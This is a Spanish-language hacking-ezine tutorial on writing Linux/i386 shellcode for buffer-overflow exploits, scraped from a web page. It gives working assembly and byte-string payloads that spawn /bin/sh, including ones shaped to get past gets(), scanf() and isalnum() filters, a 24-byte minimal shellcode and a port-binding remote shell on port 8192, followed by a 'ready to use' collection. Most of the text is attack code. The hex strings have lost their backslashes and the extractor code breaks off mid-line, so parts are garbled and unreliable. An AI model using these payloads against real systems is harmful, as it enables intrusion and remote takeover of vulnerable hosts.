Checkmate |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
=-[ UNDERSEC Security TEAM ]-================================================
=-[ Shellcodes en Linux/i386 (2) ]-==========================================
=-[ por RaiSe ]-=============================================================
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- '%esp' sobreescrito
3.- Shellcode sin retornos de linea
4.- Syscall's de mas de 5 argumentos
5.- Minishellcode
6.- Enlazar un puerto con una shell usando sockets
7.- Pasando el codigo a un string
8.- Shellcode alfanumerica
9.- Recopilacion de shellcodes / extractor
10.- Despedida
----------------
// 1.- Prologo
----------------
Vista la buena acogida que ha tenido el articulo de shellcodes de NS #4 he
tomado la decision de hacer una segunda parte . En este texto intentare
profundizar un poco mas en las shellcodes, con algunos casos concretos que
nos serviran especificamente para algunos xploits, asi como alguna que otra
shellcode un poco mas compleja . Se recomienda leer la primera parte sino
estas familiarizado con las scodes (http://netsearch.page.to/ns004.zip). En
los diferentes apartados del articulo voy poniendo los codigos de las
shellcodes. El penultimo apartado es una recopilacion de las scodes en
strings listas para ser usadas.
----------------------------
// 2.- '%esp' sobreescrito
----------------------------
Este caso se da cuando el registro esp (puntero al tope de la pila) ha
sido sobreescrito por cualquier motivo aleatorio. Un caso muy tipico es
cuando sobreescribimos una variable del tipo jmp_buf.. sino calculamos
exactamente lo que debemos sobreescribir lo mas probable es que 'machaquemos'
esp con un valor fuera del segmento actual. Al hacerlo conseguimos que el 90%
de las shellcodes no funcionen, ya que cuando hagamos la llamada a 'call'
para salvar la direccion del string en la pila, el sistema intenta guardarlo
en el tope de la pila (esp), que como apunta a una direccion erronea dara un
segment fault. La solucion a esto es muy sencilla, y consiste en copiar
nosotros manualmente a esp una constante que siempre estara dentro de la
pila, por ejemplo 0xbffffff0.
Pues bien, el nuevo aspecto de la tipica shellcode que ejecuta '/bin/sh'
seria algo asi:
<-- codigo -->
__asm__("
jmp 0x1f
popl %edi
movl %edi,%ebx
xorl %eax,%eax
movb %al,0x7(%edi)
movl %edi,0x8(%edi)
movl %eax,0xc(%edi)
leal 0x8(%edi),%ecx
leal 0xc(%edi),%edx
movb $0xb,%al
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
movl $0xbffffff0,%esp
call -0x29
.string "/bin/sh"
");
<-- fin codigo -->
Como veis es muy sencilla la solucion .
----------------------------------------
// 3.- Shellcode sin retornos de linea
----------------------------------------
Hay veces que necesitamos tener la shellcode en una sola linea sin retornos
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..
En otras ocasiones, aun teniendo una scode sin retornos de linea no es
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:
. Retornos de linea:
+ 'f', 0x0c, salto de pagina.
+ 'n', 0x0a, salto de linea.
+ 'r', 0x0d, salto de carro.
+ 'v', 0x0b, tabulacion vertical.
. Espacios:
+ 'b', 0x08, espacio atras.
+ 't', 0x09, tabulacion horizontal.
+ ' ', 0x20, espacio en blanco.
Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):
+ mov %eax,0xc(%esi) --> 1 salto de linea
+ lea 0xc(%esi),%edx --> 1 salto de linea
+ mov $0xb,%al --> 1 tabulacion vertical
+ mov %esi,0x8(%esi) --> 1 espacio atras
+ lea 0x8(%esi),%ecx --> 1 espacio atras
Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:
<-- codigo -->
__asm__("
jmp 0x19
popl %edi
movl %edi,0x10(%edi)
xorl %edx,%edx
movb %dl,0x7(%edi)
movl %edx,0x14(%edi)
movl %edi,%ebx
leal 0x50(%edx),%eax
leal 0x10(%edi),%ecx
subl $0x45,%eax
int $0x80
call -0x1e
.string "/bin/sh"
");
<-- fin codigo -->
Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. .
-----------------------------------------
// 4.- Syscall's de mas de 5 argumentos
-----------------------------------------
En el articulo anterior solo habiamos tratado las shellcodes que utilizaban
syscalls con 5 argumentos como maximo. Haciendo un poco de memoria podemos
recordar que se ponia el numero de syscall en %eax, y los argumentos se iban
colocando en los registros consecutivamente de esta forma:
-> %ebx, %ecx, %edx, %esi, %edi
Pues bien, para utilizar una syscall con mas de 5 argumentos, como veremos,
es muy sencillo. Simplemente hay que colocar el numero de la syscall en %eax
(esto no cambia), y la lista de argumentos en un array (terminado en un long
null). La direccion del array se coloca en %ebx. Queria poner un ejemplo pero
es que no se que syscall poner que utilice mas de 5 argumentos.. Bueno, pues
nada.. simplemente se ponen los argumentos en un array y se copia la
direccion a %ebx y en %eax el numero de syscall. La estructura quedaria algo
asi:
%eax -> 0xn (n es el numero de la syscall, /usr/include/asm/unistd.h)
%ebx -> 0xbfffffa0
(0xbfffffa0) -> 0x00000001 0xbffffff5 .. 0x00000000 (es un caso hipotetico)
int $0x80
----------------------
// 5.- Minishellcode
----------------------
Hay veces que a la hora de xplotar un programa tenemos tan poca cantidad de
memoria, que la longitud de la shellcode se convierte en algo critico. Por lo
tanto lo logico es que cuanto menor sea la shellcode, pues mejor. En casos
cuando el buffer a sobreescribir tiene un tamaño de 32 bytes por ejemplo,
necesitamos una scode de unos 36 bytes como maximo, ya que el tamaño que
tendremos sera: tamaño_del_buffer + 4 (%ebp). Pero en ese caso solo podriamos
copiar la direccion de retorno una vez, ya que no tendriamos espacio para
mas.. y tampoco podriamos poner ningun nop (por la misma razon).
Entonces el tamaño de la scode deberia ser de unos 36-12 mas o menos.. asi
podriamos copiar la direccion de retorno 3 veces, o copiarla 2 veces y poner
4 nops.. Y ahi es cuando empezamos a optimizar el codigo lo maximo posible
para reducir el tamaño.
Lo primero que haremos (resulta obvio), es quitar la llamada a 'exit', ya que
si la shellcode funciona no nos hara falta para nada. Despues cambiamos unas
instrucciones por otras que ocupan menos bytes y que hacen lo mismo, como por
ejemplo usar el stack con push's para colocar el string, en vez del tipico
jmp-call. Despues cambiamos un movl por un leal y poco mas.. El path a
ejecutar es //bin/sh, no quito una barra porque con dos funciona
perfectamente y estariamos gastando 1 byte mas. El resultado es una shellcode
de 24 bytes que ejecuta una shell. El codigo seria algo asi:
<-- codigo -->
__asm__("
xorl %edx,%edx
pushl %edx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %edx
pushl %ebx
movl %esp,%ecx
leal 0xb(%edx),%eax
int $0x80
");
<-- fin codigo -->
Despues de darle mil vueltas no he conseguido reducirla mas, si alguien sabe
como que me mande un mail a raise@netsearch-ezine.com please .
-------------------------------------------------------
// 6.- Enlazar un puerto con una shell usando sockets
-------------------------------------------------------
Pues bien, esta es una shellcode que enlaza un puerto con una shell como muy
bien dice el titulo de este apartado (vease 3 lineas para arriba ). La
verdad es que no tiene ningun misterio, simplemente hay que saber un par de
cosas a la hora de usar sockets..
+ El codigo de la syscall siempre sera 0x66 y se coloca en %eax
+ En %ebx se coloca el codigo de la subrutina, que puede mirarse en
/usr/include/linux/net.h.
+ En %ecx se coloca la direccion de la lista de argumentos. Este caso en
un tanto especial ya que la lista no tiene que estar terminada por un nulo,
sino que se encarga el sistema de saber cuantos argumentos necesita cada
syscall.
+ La estructura sockaddr_in se consigue copiando los valores de cada elemento
en en forma de media palabra (2 bytes).
+ La syscall definitiva se ejecuta con int $0x80 (esto tampoco cambia).
La manera de enlazar el puerto con la scode se consigue ejecutando una serie
de syscall's consecutivamente:
+--------------------------------------------------------+
| |
| fork() -> exit() proceso padre -> socket() -> bind() |
| -> listen() -> accept() -> dup2() -> execve() |
| |
+--------------------------------------------------------+
Asi, resumido brevemente, seria crear un proceso con fork, crear un socket
con idem, enlazar el socket con bind, ponerlo a la escucha con listen,
aceptar 'una' conexion con accept, redireccionar las entradas/salidas con
dup2 hacia el socket, y ejecutar una shell. Es importante recalcar que el
codigo no vuelve a ejecutar accept() una y otra vez con un bucle, sino que en
cuanto se establezca una conexion con el puerto en cuestion y se termine la
comunicacion, el proceso desaparecera y no se podra volver a conectar.
El codigo en C mas sencillo para hacer esto seria mas o
menos el siguiente:
<-- codigo C -->
int soc_local,soc_remoto; // declarar los sockets
struct sockaddr_in addr_l; // declarar la estructura sockaddr_in
soc_local=socket(2,1,0); // crear el socket
addr_l.sin_family = 2; // family = AF_INET
addr_l.sin_port = 0x20; // puerto 0x2000 = 8192
addr_l.sin_addr.s_addr = 0; // s_addr = INADDR_ANY
bind(soc_local,(struct sockaddr *) &addr_l, 0x10); // enlazar el socket
listen(soc_local,1); // poner el socket a la escucha
soc_remoto=accept(soc_local,0, 0); // aceptar conexion
dup2(soc_remoto,0);
dup2(soc_remoto,1); // duplicar descriptores
dup2(soc_remoto,2);
execl("/bin/sh","sh",0); // ejecutar /bin/sh
<-- fin codigo C -->
El codigo en asm seria el siguiente (el codigo esta sin optimizar,
seguramente sobraran unos 50 bytes..):
<-- codigo -->
__asm__("
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
decl %esp // decrementa %esp
popl %edi // copia la dire de retorno de la funcion
// anterior en %edi (dicha direccion siempre
// estara en %esp-4 sino se toco nada de la
// pila despues del ret).
movl %edi,%esp // copia %edi a %esp, esto se hace para
// poder hacer push's a saco sin preocupar-
// nos de sobreescribir la shellcode, ya
// que %esp siempre apuntara 'por encima'
// de la shellcode.
// fork
xorl %eax,%eax // pone %eax a 0
movl %eax,%ebx // copia %eax a %ebx, %ebx=0
movb $0x2,%al // %eax=0x2 (fork)
int $0x80 // ejecuta el fork()
cmpl %eax,%ebx // compara si %eax es 0
je 0x5 // si %eax=0 salta el exit() que viene a
// continuacion
// exit
leal 0x1(%ebx),%eax // pone %eax a 0x1 (exit)
int $0x80 // ejecuta exit() (proceso padre)
// socket
xorl %edx,%edx // pone %edx a 0
movl %edx,0x8(%edi) // copia un long null a la dire %edi+8
incl %edx // %edx=1
movl %edx,0x4(%edi) // copia 0x00000001 a la dire %edi+4
incl %edx // %edx=2
movl %edx,(%edi) // copia 0x00000002 a la dire %edi
movl %edi,%ecx // copia %edi a %ecx
xorl %ebx,%ebx // pone %ebx a 0
incl %ebx // pone %ebx a 1 (socket)
leal 0x65(%ebx),%eax // pone %eax a 0x66
int $0x80 // ejecuta socket(2,1,0)
// bind
movl %eax,%esi // copia 'soc_local' en %esi
xorl %edx,%edx // pone %edx a 0
movl %edx,(%edi) // copia un long null a la dire %edi
movb $0x2,(%edi) // pone 0x0002 en la dire %edi (1 hword)
movb $0x20,0x2(%edi) // pone 0x20 en la dire %edi+2
movl %edx,0x4(%edi) // copia un long null a la dire %edi+4
movl %esi,0x8(%edi) // copia 'soc_local' a la dire %edi+8
movl %edi,0xc(%edi) // copia la dire de sockaddr_in a %edi+0xc
movl %edx,0x10(%edi) // copia un long null a la dire %edi+0x10
movb $0x10,0x10(%edi) // pone en la dire %edi+0x10 0x00000010
// Con esto estamos declarando la lista de
// argumentos de bind(). La direccion de
// dicha lista se copiara a %ecx.
leal 0x66(%edx),%eax // pone %eax=0x66
leal 0x2(%edx),%ebx // %ebx=2 (bind)
leal 0x8(%edi),%ecx // carga la dire de sockaddr_in en %ecx
int $0x80 // ejecuta bind()
// listen
movl %esi,(%edi) // copia 'soc_local' a la dire %edi
movl %edx,0x4(%edi) // long null a la dire %edi+4
movb $0x1,0x4(%edi) // 0x00000001 en la dire %edi+4
leal 0x66(%edx),%eax // carga 0x66 en %eax
leal 0x4(%edx),%ebx // %ebx = 4 (listen)
movl %edi,%ecx // lista de argumentos en %ecx
int $0x80 // ejecuta listen()
// accept
movl %edx,0x4(%edi) // long null a la dire %edi+4
movl %edx,0x8(%edi) // long null a la dire %edi+8
// en la dire %edi sigue estando soc_local
leal 0x66(%edx),%eax // %eax=0x66
leal 0x5(%edx),%ebx // %ebx = 5 (accept)
int $0x80 // ejecuta accept()
// dup2
movl %eax,%ebx // copia 'soc_remoto' a %ebx
xorl %ecx,%ecx // %ecx = 0
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
int $0x80 // ejecuta dup2(soc_remoto,0)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,1)
leal 0x3f(%edx),%eax // %eax = 0x3f (dup2)
incl %ecx // incrementa en 1 %ecx
int $0x80 // ejecuta dup2(soc_remoto,2)
// execve
xorl %edx,%edx // %edx=0
pushl %edx // long null a la pila
pushl $0x68732f6e //
pushl $0x69622f2f // coloca el string /bin/sh seguido del
// nulo q pusimos antes (pushl %edx) en
// la pila.
movl %esp,%ebx // carga la dire del string en %ebx
pushl %edx // long null a la pila
pushl %ebx // dire del string a la pila
movl %esp,%ecx // carga la dire de los args en %ecx
leal 0xb(%edx),%eax // %eax=0xb
int $0x80 // ejecuta execve()
");
<-- fin codigo -->
Una vez que se ejecute abrira un puerto (segun esta configurada el 8192) y
aceptara UNA conexion, despues se cerrara el puerto y adios muy buenas.. Si
quieres mejorar esta shellcode no dudes en mandarme un mail .
--------------------------------------
// 7.- Pasando el codigo a un string
--------------------------------------
En el articulo anterior (NS #4), habia dicho como pasar la shellcode a un
string manualmente, pero eso la verdad es que es un poco/bastante rollazo si
la shellcode tiene unas dimensiones un poco grandes. Para facilitar la tarea
he creado una funcion que te lo pasa automaticamente y te hace un print de la
scode bastante mono..
La forma de utilizarlo es la sencilla. La estructura del programa en C con el
codigo de la scode tiene que tener un estilo de este tipo:
<-- codigo -->
#include ..tal..
#include
void shellcode()
{
__asm__("
codigo de la shellcode
.byte 0x00
");
}
main()
{
printsc((int)shellcode);
}
<-- fin codigo -->
La funcion printsc() esta declarada en el fichero scodes.h que se incluye al
final de este articulo (apartado recopilacion). La forma de llamar a dicha
funcion es la siguiente:
printsc((int)dire_funcion_scode);
Resumiendo, se mete el codigo de la shellcode en una funcion que solo
contenga un __asm__() con el code terminado de un null (.byte 0x00). Esto
ultimo es importante ya que sino lo ponemos la scode sera mas larga de lo que
deberia (se pasara al string el codigo del __asm__ y lo que haya a
continuacion), por lo tanto hay que poner el .byte 0x00 para diferenciar cual
es el final de nuestro codigo. El file scodes.h se copia a /usr/includes y se
incluye en nuestro prog con #include .
La scode se muestra por pantalla ordenada y esop, luego solo es cuestion de
cut & paste .
-------------------------------
// 8.- Shellcode alfanumerica
-------------------------------
Hay algunas veces que necesitamos una scode que solo contenga valores
alfanumericos una vez 'printeada', es decir solamente letras (mayusculas,
minisculas, y numeros). Un caso muy tipico podria ser un programa 'xplotable'
donde no tuvieramos sitio para poner la scode, a excepcion de una funcion
donde tenemos sitio pero que hace chequeo de valores alfanumeros por medio de
la funcion isalnum().
La solucion obvia pasa por tener un codigo que ejecute una shell (o cualquier
otra cosa de la que saquemos provecho), y que sea capaz de pasar por un
chequeo de isalnum(). En este caso particular veremos una sc que ejecuta un
execve() de /bin/sh, pero se pueden hacer mas cosas.
Para conseguir un codigo que no tenga ningun opcode (opcode es el valor en
hexadecimal de cada intruccion en asm) no printeable, tendremos que recurrir
a ciertas artimañanas.. Para empezar la mayoria de instrucciones como xorl
%eax,%eax, movl %eax,%edx no se podran usar, asi que hay que usar
otras. Bueno, lo mejor sera que pegue la scode y vaya comentandola brevemente
linea por linea .
Tengo que decir que el metodo de los nops alfanumericos lo ha desarrollado
Fatuo (Fuego Fatuo - leonardo@hispasecurity.com), aparte de alguna que otra
scode alfanumerica tambien.
Dicho metodo consiste en sobreescribir %ebp con la direccion de retorno
(normalmente casi siempre se sobreescribe en los stack overflow normales), y
luego en vez de poner nops poner 'incl %ebp' -> caracter 'E'. De esta forma
se calcula la direccion de retorno exacta donde terminan los 'nops' y empieza
la shellcode. Dicha direccion hay que saberla exacta por el tema de
automodificacion de codigo que se vera mas adelante. Tambien hay otro metodo
un poco mas burro con el cual no hace falta sobreescribir %ebp, pero tiene
ciertas limitaciones como el numero de nops a poner y el tamaño. Yo tenia
desarrollada una sc con ese metodo que admitia 200 nops y tenia un tamaño de
392 bytes creo q eran.. pero hay que reconocer que mola mas este metodo asi
que hice una scode optimizada y se kedo en 88 bytes .
Para copiar un registro a otro, al no poder usar mov's, tendremos que
hacerlo con xor's. La teoria es que si tenemos 2 valores, pongamos A y B,
haciendo lo siguiente quedaria tal que asi:
A xor B = C (C es el resultado)
C xor A = B
C xor B = A
Veamoslo con numeros:
5 xor 2 = 7
7 xor 5 = 2
7 xor 2 = 5
Por lo tanto, si queremos copiar %eax a %edi, usaremos una memoria intermedia
que sepamos que no contiene codigo de la scode, de la siguiente forma:
xorl 0x60(%ebp) , %eax
xorl %eax , 0x60(%ebp) -> aqui hemos copiado %eax a la dire 0x60(%ebp)
xorl %edi , 0x60(%ebp)
xorl 0x60(%ebp) , %edi -> ya tenemos %eax en %edi
Bueno, y ahora ya empecemos con la scode ..
+
. Decrementa en 1 unidad %esp.
+
. Idem.
+
. Idem.
+
. Idem XD. Restamos 4 a %esp en total.
+
. Salvamos la direccion de retorno de la funcion anterior en %eax.
+
. Vamos a utilizar una direccion intermedia para copiar %eax a %esp.
+
. Ya tenemos %eax en la dire %ebp+0x58.
+
. Primer paso para copiar el contenido de %ebp+58 a %esp.
+
. Ya tenemos copiado %ebp+0x58 (%eax) en %esp. Esto se hace para que no
sobreescribamos la propia shellcode cuando mas tarde hagamos unos cuantos
push's. De esta forma los push's siempre iran 'por encima' de la scode y no
habra peligro de sobreescribir nada importante.
+
. Guardamos el valor 0x00000045 en la pila.
+
. Ponemos %eax a 0x00000045
+
. Ponemos %eax a cero (0x00000000)
+
. Ponemos un long null en la pila
+
. Guardamos lo q sera parte del string '/bin/sh'
+
. Recuperamos en %eax lo q sera parte del string '/bin/sh'
+
. Modificamos el contenido de %ax para conseguir el string
+
. Lo colocamos en la pila (recordemos que detras hay un long null)
+
. Segunda parte de lo que sera el string '/bin/sh'
+
. Lo recuperamos en %eax (idem que antes)
+
. Lo modificamos con un xor (idem de idem)
+
. Lo ponemos en la pila. Ahora tenemos en memoria //bin/sh0x00000000
+
. Salvamos la direccion del string
+
. Recuperamos la direccion del string en %ecx
+
. Primera parte del procedimiento para poner %eax a cero
+
. Guardamos 0x00000059 en %eax
+
. %eax = long null
+
. Ponemos un long null en la pila
+
. Ponemos la dire del string en la pila
+
. Ponemos la dire del array (dire_string,null) en la pila (*argv[])
+
. Guardamos un long null en la pila
+
. Guardamos la direccion del principio de la shellcode en la pila. Recordemos
que %ebp teoricamente contiene la dire exacta de la shellcode, ya que
sobreescribimos %ebp con la dire de retorno en el xploit, y fuimos
incrementandolo con los nops.
+
. Recupera la direccion de la shellcode en %eax.
+
. Procedimiento para mover %ecx a %ebx usando una direccion intermedia, %ecx
contiene la direccion del string '/bin/sh'.
+
. Con esto coloca %ecx en la direccion %eax+0x58 (direccion que no contiene
codigo de la scode, por lo tanto no nos importa lo que sobreescribamos).
+
. Procedimiento igual pero ahora con %ebx.
+
. Copiamos el contenido de la dire %eax+0x58 a %ebx. Es decir, ya tenemos
%ecx en %ebx (la dire del string).
+
. Recupera un long null en %edx que habiamos guardao hace mil años XD.
+
. Recupera la direccion del array *argv[] en %ecx que tambien habiamos
guardao hace mil años.
+
. Decremante %edx, ahora vale 0xffffffff
+
. Procedimiento de automodificacion de codigo. Con esto conseguiremos cambiar
el byte 0x32 que esta mas abajo en memoria (dire %ebp+0x56 para ser
exactos) por 0xcd (primer byte de int $0x80). Y dejamos preparado el byte
0x47 para convertirlo con un segundo xor en 0x80.
+
. Volvemos a poner %edx a cero.
+
. Ponemos el byte 0x38 en la pila.
+
. %eax = 0x00000038
+
. Convertimos el byte que antes era 0x47 a 0x80, con lo que cuando se
ejecuten esos 2 bytes se ejecutara int $0x80. Hemos convertido los bytes 0x32
y 0x47 en 0xcd y 0x80 (opcodes de int $0x80).
+
. Ponemos %al a 0x0b (0x38 xor 0x33 = 0xb).
+ <.byte 0x32>
. Byte que sera/ha sido convertido a 0xcd
+ <.byte 0x47>
. Byte que sera/ha sido convertido a 0x80.
Y ya esta, a que no ha sido tan dificil? . Con esto conseguimos una
shellcode alfanumerica totalmente funcional y que permite nops infinitos,
con un tamaño de 88 bytes.
-----------------------------------------------
// 9.- Recopilacion de shellcodes / extractor
-----------------------------------------------
Aqui pego una recopilacion de scodes listas para ser usadas. Para
'extraerlas': nextract archivo.txt. Por cierto que todas son made by RaiSe
(algunas como la alfanumerica compartiendo ideas con Zer0 y Fatuo ).
<++> shellcodes/sc-esp.c $8308a7a77bbe3103152344e40da5df0d
// scode '%esp' sobreescrito
char shellc[128]=
"xebx1fx5fx89xfbx31xc0x88x47x07x89x7fx08x89x47"
"x0cx8dx4fx08x8dx57x0cxb0x0bxcdx80x31xdbx89xd8"
"x40xcdx80xbcxf0xffxffxbfxe8xd7xffxffxffx2fx62"
"x69x6ex2fx73x68";
<-->
<++> shellcodes/sc-oneline.c $cfec37c76b30001d337f80e7eb35b206
// scode sin retornos de linea
char shellc[128]=
"xebx19x5fx89x7fx10x31xd2x88x57x07x89x57x14x89"
"xfbx8dx42x50x8dx4fx10x83xe8x45xcdx80xe8xe2xff"
"xffxffx2fx62x69x6ex2fx73x68";
<-->
<++> shellcodes/sc-mini.c $9d747e94e6be0a71682e2dd1ab6b77d8
// miniscode, 24 bytes
char shellc[128]=
"x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3"
"x52x53x89xe1x8dx42x0bxcdx80";
<-->
<++> shellcodes/sc-portshell.c $ecba7d17930eb1b3d596b5eb21c431ce
// scode que enlaza una shell en el puerto 8192
char shellc[512]=
"x4cx4cx4cx4cx5fx89xfcx31xc0x89xc3xb0x02xcdx80"
"x39xc3x74x05x8dx43x01xcdx80x31xd2x89x57x08x42"
"x89x57x04x42x89x17x89xf9x31xdbx43x8dx43x65xcd"
"x80x89xc6x31xd2x89x17xc6x07x02xc6x47x02x20x89"
"x57x04x89x77x08x89x7fx0cx89x57x10xc6x47x10x10"
"x8dx42x66x8dx5ax02x8dx4fx08xcdx80x89x37x89x57"
"x04xc6x47x07x01x8dx42x66x8dx5ax04x89xf9xcdx80"
"x89x57x04x89x57x08x8dx42x66x8dx5ax05xcdx80x89"
"xc3x31xc9x8dx42x3fxcdx80x8dx42x3fx41xcdx80x8d"
"x42x3fx41xcdx80x31xd2x52x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80";
<-->
<++> shellcodes/sc-alfa.c $f9c01b11bf127c80454b55d2ea3525ef
// scode alfanumerica
// nop is 'E'
char shellc[128]=
"LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX"
"3HX1HX1XX3XXZYJf1UVBj8X0EW432G";
<-->
<++> shellcodes/scodes.h $7986750a103954c2ac983bee2abd34cd
// Extractor de shellcodes by RaiSe
// NetSearch Ezine
// Testeado en redhat 6.0
#define SIZE 2048
int printsc (int funcion)
{
int i,cc;
char dst[SIZE],buf[SIZE],*p;
p=(char *)funcion;
sprintf(buf,"%s",p);
p=dst;
printf("nExtractor de shellcodes");
printf("nRaiSe - NetSearch Ezinenhttp://www.netsearch-ezine.comn");
for(i=3;i
-------------------
// 10.- Despedida
-------------------
Bueno, y esto ha llegado a su fin. Como suele decirse ha sido un placer
escribirlo . Por desgracia no puedo mandar un saludo a mi novia porque ya
no la tengo.. cosas que pasan en la vida.. Un saludo muy especial para sp4rk,
quasar, doing, cafo & company .
Nos vemos en NetSearch Ezine #6, hasta pronto.
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
|
|
|
|
|
|
|
Existen 54 visitantescheckmate |
|
|
|
| | |